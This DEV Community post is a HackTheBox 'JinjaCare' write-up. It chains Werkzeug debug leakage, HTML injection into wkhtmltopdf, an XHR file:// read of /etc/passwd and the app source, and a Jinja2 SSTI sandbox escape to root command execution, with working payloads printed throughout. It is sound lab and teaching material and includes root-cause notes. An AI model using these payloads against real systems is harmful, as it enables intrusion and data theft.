DEV Community

Cover image for HackTheBox : JinjaCare Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox : JinjaCare Writeup

Summary

JinjaCare is a Flask-based COVID-19 vaccination verification web app. The intended path chains wkhtmltopdf HTML/local-file injection (via the certificate-generation feature) to disclose the Flask application source, which in turn reveals a post-substitution render_template_string() call — a textbook Server-Side Template Injection (SSTI) pattern. That SSTI is exploited via the Jinja2 sandbox-escape gadget chain (self.__init__.__globals__) to achieve remote code execution running as root.

Attack surface entry point: /verify certificate lookup led nowhere directly, but pivoting through registration → Werkzeug debug traceback → profile management uncovered the real vulnerable chain.

Recon

curl http://<MACHINE-IP>:<PORT>
Enter fullscreen mode Exit fullscreen mode

The landing page identifies the app as "JinjaCare" — a COVID-19 vaccination verification platform with /monitoring, /verify, and /login routes linked in the nav. The name itself is a strong hint toward Jinja2 template injection somewhere in the app.

curl -I http://<MACHINE-IP>:<PORT>
Enter fullscreen mode Exit fullscreen mode
HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Tue, 14 Jul 2026 05:52:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 16518
Connection: keep-alive
Vary: Cookie
Enter fullscreen mode Exit fullscreen mode

Nginx reverse-proxying a backend app (confirmed Flask later via error tracebacks).

Initial Enumeration — /verify

The /verify endpoint takes a certificate_id parameter via GET and displays a validity result:

curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=%7B%7B7*7%7D%7D"
curl "http://<MACHINE-IP>:<PORT>/verify?certificate_id=test123"
Enter fullscreen mode Exit fullscreen mode

Both requests returned an identical "Invalid certificate" response with no reflection of the input — this endpoint performs a database lookup before any rendering occurs, ruling out direct SSTI here.

Forcing an Error — Werkzeug Debug Mode

Probing /register with a malformed request (JSON body against a form-expecting endpoint) triggered a full Werkzeug debug traceback:

curl http://<MACHINE-IP>:<PORT>/register -H "Content-Type: application/json" \
  -d '{"username":"tester","email":"b@b.com","password":"tester123"}'
Enter fullscreen mode Exit fullscreen mode
Traceback (most recent call last):
  File "/usr/local/lib/python3.9/site-packages/flask/app.py", line 1488, in __call__
    return self.wsgi_app(environ, start_response)
  [... snipped ...]
  File "/app/app.py", line 52, in register
    email = request.form['email']
  File "/usr/local/lib/python3.9/site-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
    raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request
KeyError: 'email'

<script>
  var CONSOLE_MODE = false,
      EVALEX = true,
      EVALEX_TRUSTED = false,
      SECRET = "4689943sFJltwbtgi7z0";
</script>
Enter fullscreen mode Exit fullscreen mode

The traceback confirmed:

  • Flask app, Python 3.9, source at /app/app.py
  • Werkzeug interactive debugger (EVALEX) is enabled, protected by a PIN
  • /register expects email, name, password form fields

The debugger PIN wasn't computable remotely at this stage (requires MAC address / machine-id not yet disclosed), so this path was set aside in favor of continuing app enumeration.

Registration & Authenticated Surface

Registering an account (POST /register with email, name, password, confirmPassword) succeeded and granted access to an authenticated dashboard at /dashboard, which links to:

  • /profile/personal — name, email, phone, address, DOB, gender, emergency contact
  • /profile/medical — free-text medical record entries (condition, doctor, hospital, notes)
  • /profile/vaccinations — vaccination record entries (vaccine, location, provider)
  • /generate_certificate — generates a PDF vaccination certificate

name field validation on /register

Testing {{7*7}} as a registration name returned a flash message: "Name can only contain letters and spaces" — a server-side regex filter (^[a-zA-Z ]+$) blocks SSTI attempts at registration time.

Set-Cookie: session=eyJfZmxhc2hlcyI6...HPlMN2olIbpiTuNK38_0bsSg9BA; HttpOnly; Path=/
Location: /register

(decoded flash message: "Name can only contain letters and spaces")
Enter fullscreen mode Exit fullscreen mode

Prefix/newline bypass attempts (test{{7*7}}, test\n{{7*7}}) were also rejected with the identical message, indicating the regex fully anchors the string.

PDF Certificate Generation — wkhtmltopdf

/generate_certificate returns a PDF built with wkhtmltopdf 0.12.6, confirmed via PDF metadata:

%PDF-1.4
1 0 obj
<<
/Title ()
/Creator (wkhtmltopdf 0.12.6)
/Producer (Qt ...
Enter fullscreen mode Exit fullscreen mode

Testing medical/vaccination free-text fields for SSTI ({{7*7}} in condition, doctor, notes, location, provider) showed the literal string reflected unescaped in /profile/medical — but crucially, these fields are not used by /generate_certificate at all; the certificate only pulls the account's name field.

Bypassing the name filter via /profile/personal

The letters-only regex applied to /register is not re-applied on the profile-update endpoint (POST /profile/personal), which updates the same name column with no validation:

curl -i -s http://<MACHINE-IP>:<PORT>/profile/personal -b cookies.txt \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "name=<h1>SSTITEST123</h1>" \
  --data-urlencode "email=<email>" [... other required fields ...]

curl -s http://<MACHINE-IP>:<PORT>/generate_certificate -b cookies.txt -o cert.pdf
pdftotext cert.pdf -
Enter fullscreen mode Exit fullscreen mode

<h1>SSTITEST123</h1> rendered as a real heading in the resulting PDF:

JinjaCare
COVID-19 Vaccination Certificate
Name:
SSTITEST123
Official Document - 99f85f34-ca50-4b3c-b079-4c53ee358a5a
Date of Issue: 2026-07-14
Vaccination Status: Fully Vaccinated
Enter fullscreen mode Exit fullscreen mode

— confirming raw HTML injection into the wkhtmltopdf rendering pipeline via the name field.

Local File Read via wkhtmltopdf

A direct <iframe src=file:///etc/passwd> was blocked at the frame-load level:

Failed to load URL file:///etc/passwd.
Frame load interrupted by policy change
WebKit Error 102
Enter fullscreen mode Exit fullscreen mode

This indicates local file access is restricted at the navigation/frame-load layer — but JavaScript execution inside the rendered page is not restricted, and a synchronous XHR request to a file:// URI bypasses the navigation-level policy check:

--data-urlencode 'name=<script>var x=new XMLHttpRequest();x.open("GET","file:///etc/passwd",false);x.send();document.write(x.responseText);</script>'
Enter fullscreen mode Exit fullscreen mode

Regenerating the certificate returned the full contents of /etc/passwd embedded in the PDF text:

Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
[... snipped, full standard /etc/passwd entries ...]
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
Enter fullscreen mode Exit fullscreen mode

confirming arbitrary local file read.

Reading application source

The same technique against file:///app/app.py (path disclosed by the earlier Werkzeug traceback) dumped the complete Flask application source into the certificate PDF:

from flask import Flask, render_template, request, redirect, url_for, flash, send_file, session,
render_template_string
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
from database import init_db, get_db
import re, pdfkit, os, tempfile, qrcode, io, base64, uuid, random
from functools import wraps
from datetime import datetime, timedelta

[... snipped: app init, User model, /register, /login, /dashboard routes ...]

@app.route('/generate_certificate')
@login_required
def generate_certificate():
    db = get_db()
    try:
        cert_id = str(uuid.uuid4())
        db.execute('INSERT INTO certificates (user_id, certificate_id, issue_date, status) VALUES (?, ?, datetime(\'now\'), \'valid\')', [current_user.id, cert_id])
        db.commit()
        [... QR code generation snipped ...]
        user = db.execute('SELECT * FROM users WHERE id = ?', [current_user.id]).fetchone()
        template = ""
        try:
            with open("templates/certificate_template.html") as r:
                template = r.read()
            template = template.replace("{{ certificate_id }}", cert_id)
            template = template.replace("{{ name }}", user['name'])
            template = template.replace("{{ status }}", "Fully Vaccinated")
            template = template.replace("{{ issue_date }}", datetime.now().strftime("%Y-%m-%d"))
            template = template.replace("{{ qr_code_url }}", qr_code_url)
            html = render_template_string(template)
        except Exception as template_error:
            raise
        [... pdfkit conversion, options, send_file snipped ...]
    except Exception as e:
        flash(f'Error generating certificate: {str(e)}', 'error')
        return redirect(url_for('dashboard'))

[... snipped: /monitoring, /verify, /profile/personal, /profile/medical, /profile/vaccinations routes ...]

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')
Enter fullscreen mode Exit fullscreen mode

Root Cause — Post-Substitution render_template_string()

The disclosed source revealed the vulnerable logic in generate_certificate():

with open("templates/certificate_template.html") as r:
    template = r.read()
template = template.replace("{{ name }}", user['name'])
...
html = render_template_string(template)
Enter fullscreen mode Exit fullscreen mode

The user-controlled name is substituted into the template as a raw string before the entire result is passed to render_template_string(). Anything the attacker places where {{ name }} was gets re-parsed and executed as live Jinja2 syntax — this is a classic and highly exploitable SSTI antipattern, distinct from (and more dangerous than) the raw HTML injection used to reach it.

Crucially, this path bypasses the letters-only filter entirely, since that filter only exists on /register, not on /profile/personal.

Exploitation — SSTI to RCE

Confirming template execution:

--data-urlencode "name={{7*7}}"
Enter fullscreen mode Exit fullscreen mode
JinjaCare
COVID-19 Vaccination Certificate
Name: 49
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
Enter fullscreen mode Exit fullscreen mode

→ confirms genuine Jinja2 evaluation (not string reflection).

Escaping the Jinja2 sandbox via the standard Flask gadget chain:

--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
Enter fullscreen mode Exit fullscreen mode
JinjaCare
COVID-19 Vaccination Certificate
Name: uid=0(root) gid=0(root) groups=0(root)
Vaccination Status: Fully Vaccinated
Date of Issue: 2026-07-14
Enter fullscreen mode Exit fullscreen mode

Further confirmed with directory listing:

--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}"
Enter fullscreen mode Exit fullscreen mode
Name: __pycache__ app.py config.py data database.py requirements.txt reset_db.py static
supervisord.log supervisord.pid templates
Enter fullscreen mode Exit fullscreen mode

Confirmed remote code execution running as root, via a one-shot request/response chain: submit payload to /profile/personal → trigger /generate_certificate → extract command output from the resulting PDF with pdftotext.

Flag

Locating the flag:

--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('find / -iname \"*flag*\" 2>/dev/null').read() }}"
Enter fullscreen mode Exit fullscreen mode
[... snipped: /proc and /sys false-positive paths from find ...]
/flag.txt
Enter fullscreen mode Exit fullscreen mode

Reading it:

--data-urlencode "name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag.txt').read() }}"
Enter fullscreen mode Exit fullscreen mode
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Attack Chain

┌─────────────────────┐
│  /register (POST)    │  name field: letters-only regex enforced
└──────────┬───────────┘
           │ regex blocks direct SSTI here
           ▼
┌─────────────────────┐
│ Malformed /register   │  triggers Werkzeug debug traceback
│ request (JSON body)   │  → leaks /app/app.py path, Flask/Py3.9,
└──────────┬───────────┘     EVALEX debugger enabled
           ▼
┌─────────────────────┐
│ Authenticated session │  register + login → /dashboard
└──────────┬───────────┘
           ▼
┌──────────────────────────┐
│ /profile/personal (POST)  │  name field: NO validation
│                            │  (filter only exists on /register)
└──────────┬─────────────────┘
           ▼
┌──────────────────────────┐
│ /generate_certificate     │  wkhtmltopdf renders name as raw HTML
│ (wkhtmltopdf 0.12.6)      │  <script> XHR bypasses file:// frame-load
└──────────┬─────────────────┘  policy → arbitrary local file read
           ▼
┌──────────────────────────┐
│ file:///app/app.py leaked │  reveals: template.replace("{{ name }}",
│ via XHR + document.write  │  user['name']) → render_template_string()
└──────────┬─────────────────┘
           ▼
┌──────────────────────────┐
│ SSTI in name field        │  {{7*7}} → 49 (confirmed execution)
└──────────┬─────────────────┘
           ▼
┌──────────────────────────┐
│ Jinja2 sandbox escape     │  self.__init__.__globals__.__builtins__
│ → os.popen()              │  .__import__('os').popen(cmd).read()
└──────────┬─────────────────┘
           ▼
┌──────────────────────────┐
│ RCE as root                │  id → uid=0(root)
│                             │  cat /flag.txt → HTB{REDACTED}
└──────────────────────────┘
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Verbose debug traceback (Werkzeug EVALEX) Malformed request to /register Discloses app source path, framework/version, internal file structure
2 Inconsistent input validation /register (filtered) vs /profile/personal (unfiltered) Same name field trusted differently depending on entry point — filter bypass
3 HTML injection via wkhtmltopdf /generate_certificate Attacker-controlled HTML rendered in generated PDF
4 file:// navigation policy bypassed via JS/XHR wkhtmltopdf rendering of name field Arbitrary local file read (LFI), used to disclose app source
5 Post-substitution render_template_string() generate_certificate() in app.py Full Server-Side Template Injection
6 Jinja2 sandbox escape via self.__init__.__globals__ SSTI payload in name field Remote Code Execution as root

Notes

  • The letters-only regex on /register (^[a-zA-Z ]+$) is a good example of validation applied at the wrong layer — it protects the initial write path but is silently absent from the profile-update path that writes to the exact same database column.
  • wkhtmltopdf's disabling of direct file:// frame navigation is a reasonable mitigation, but it does not account for script-driven (XHR) file access within the rendered page — a gap worth checking for on any box using this rendering engine.
  • The root cause (template.replace() followed by render_template_string()) is a pattern worth recognizing on sight: any code that does string substitution into a template before invoking Jinja2's renderer effectively hands the substituted value the same execution privileges as the template author.

Top comments (0)